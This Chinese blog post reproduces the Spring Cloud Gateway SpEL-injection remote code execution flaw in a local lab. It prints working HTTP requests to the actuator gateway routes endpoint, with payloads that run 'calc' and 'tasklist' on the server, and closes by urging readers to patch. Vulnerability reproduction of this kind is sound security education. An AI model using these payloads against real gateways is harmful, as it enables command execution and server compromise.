Spring Cloud Gateway远程代码执行漏洞复现

小菜鸟的个人博客已经正式上线且对外开放啦…

博客访问地址小菜鸟的大梦想

欢迎各位同学扫码关注本人公众号 ↓↓↓ 更多优质内容将 首发 公众号
在这里插入图片描述



Spring Cloud Gateway远程代码执行漏洞复现

上篇文章《Spring Cloud Gateway高危漏洞修复方案》已经讲述了此次漏洞的影响及修复方案,那么本文就带领大家玩一玩该漏洞是怎么执行代码注入的,并会给使用者带来什么样的危险?

在复现漏洞并执行代码注入实现远程攻击之前,先了解下 Spring Cloud Gateway 具体是什么?

Spring Cloud Gateway 是提供了一个用于在 Spring Webflux 之上构建API网关的库。Spring Cloud Gateway 旨在提供一种简单而有效的方式来路由到API并为它们提供交叉关注点,例如:安全、监控和弹性。

Spring Cloud Gateway特性:

  • 基于Spring Framework 5、Project Reactor和Spring Boot 2.0。
  • 能够匹配任何请求属性的路由。
  • 特定于路由的断言和过滤器。
  • 集成Circuit Breaker。
  • 集成Spring Cloud DiscoveryClient。
  • 断言和过滤器易于编写。
  • 请求速率限制。
  • 路径重写。

漏洞环境搭建

本次测试采用版本即为官方爆出的漏洞覆盖版本,除此之外还需 PostMan 工具

  • Spring Boot 2.5.2
  • Spring Cloud 2020.0.3
  • 其中Spring Cloud Gateway 为 3.0.3(漏洞版本)

本地创建Maven测试工程,添加如下pom依赖:

<parent>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter-parent</artifactId>
	<version>2.5.2</version>
</parent>
<dependencyManagement>
	<dependencies>
		<dependency>
			<groupId>org.springframework.cloud</groupId>
			<artifactId>spring-cloud-dependencies</artifactId>
			<version>2020.0.3</version>
			<type>pom</type>
			<scope>import</scope>
		</dependency>
	</dependencies>
</dependencyManagement>

<dependencies>
	<dependency>
		<groupId>org.springframework.cloud</groupId>
		<artifactId>spring-cloud-starter-gateway</artifactId>
	</dependency>
	<dependency>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-actuator</artifactId>
	</dependency>
</dependencies>

<build>
	<finalName>gateway</finalName>
	<plugins>
		<plugin>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-maven-plugin</artifactId>
		</plugin>
		<plugin>
			<groupId>org.apache.maven.plugins</groupId>
			<artifactId>maven-compiler-plugin</artifactId>
			<configuration>
				<source>1.8</source>
				<target>1.8</target>
			</configuration>
		</plugin>
	</plugins>
</build>

添加 application.yml 配置文件:

server:
  port: 8080

management:
  endpoints:
    web:
      exposure:
        include: gateway
  endpoint:
    gateway:
      enabled: true

spring:
  cloud:
     gateway:
       routes:
        - id: baidu
          uri: 'https://www.baidu.com/' # 访问/skip/baidu 时路由到百度首页
          order: 8000
          predicates:
          - Path=/skip/baidu
          filters:
          - StripPrefix=2

创建启动类 AppBootstrap.class

@SpringBootApplication
public class AppBootstrap {
    public static void main(String[] args) throws IOException {
        SpringApplication.run(AppBootstrap.class, args);
    }
}

启动服务访问 http://localhost:8080/skip/baidu 将跳转至百度首页,表明环境搭建无误。


漏洞复现

1、查看当前路由:

GET http://localhost:8080/actuator/gateway/routes
在这里插入图片描述

2、添加包含恶意代码注入的路由:

POST http://localhost:8080/actuator/gateway/routes/test
Content-Type: application/json

请求体Body内容:

{
  "id": "test",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new java.lang.ProcessBuilder(\"calc\").start()}"
    }
  }],
  "uri": "https://www.baidu.com"
}

在这里插入图片描述

3、刷新网关路由

POST http://localhost:8080/actuator/gateway/refresh

postman发送以上请求,随即打开本地计算器程序,注入代码执行成功
在这里插入图片描述
以上注入代码调用了本地计算器程序,漏洞攻击者可采用其它代码注入执行特殊的服务器命令,从而对威胁服务器安全。

另一种攻击方式:
通过代码注入获取服务器进程列表,包括进程名、PID、使用内存等。

操作:将恶意路由注入中的 value 值 改为以下代码,再次执行路由添加、路由刷新

#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"tasklist\"}).getInputStream()))}

路由刷新完成后,代码即已经在被注入的服务器上执行,此时查看恶意注入的路由即可获取代码执行结果:

GET http://localhost:8080/actuator/gateway/routes/test
在这里插入图片描述
4、删除添加的恶意路由

DELETE http://localhost:8080/actuator/gateway/routes/test
在这里插入图片描述

通过delete和refresh操作还原服务路由,至此 Spring Cloud Gateway 当前涉及版本所爆出的漏洞已成功复现。攻击者可采用SPEL代码注入方式实现远程恶意攻击,严重者致使服务器瘫痪,数据丢失。

漏洞有危险,请紧急修复!!!

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值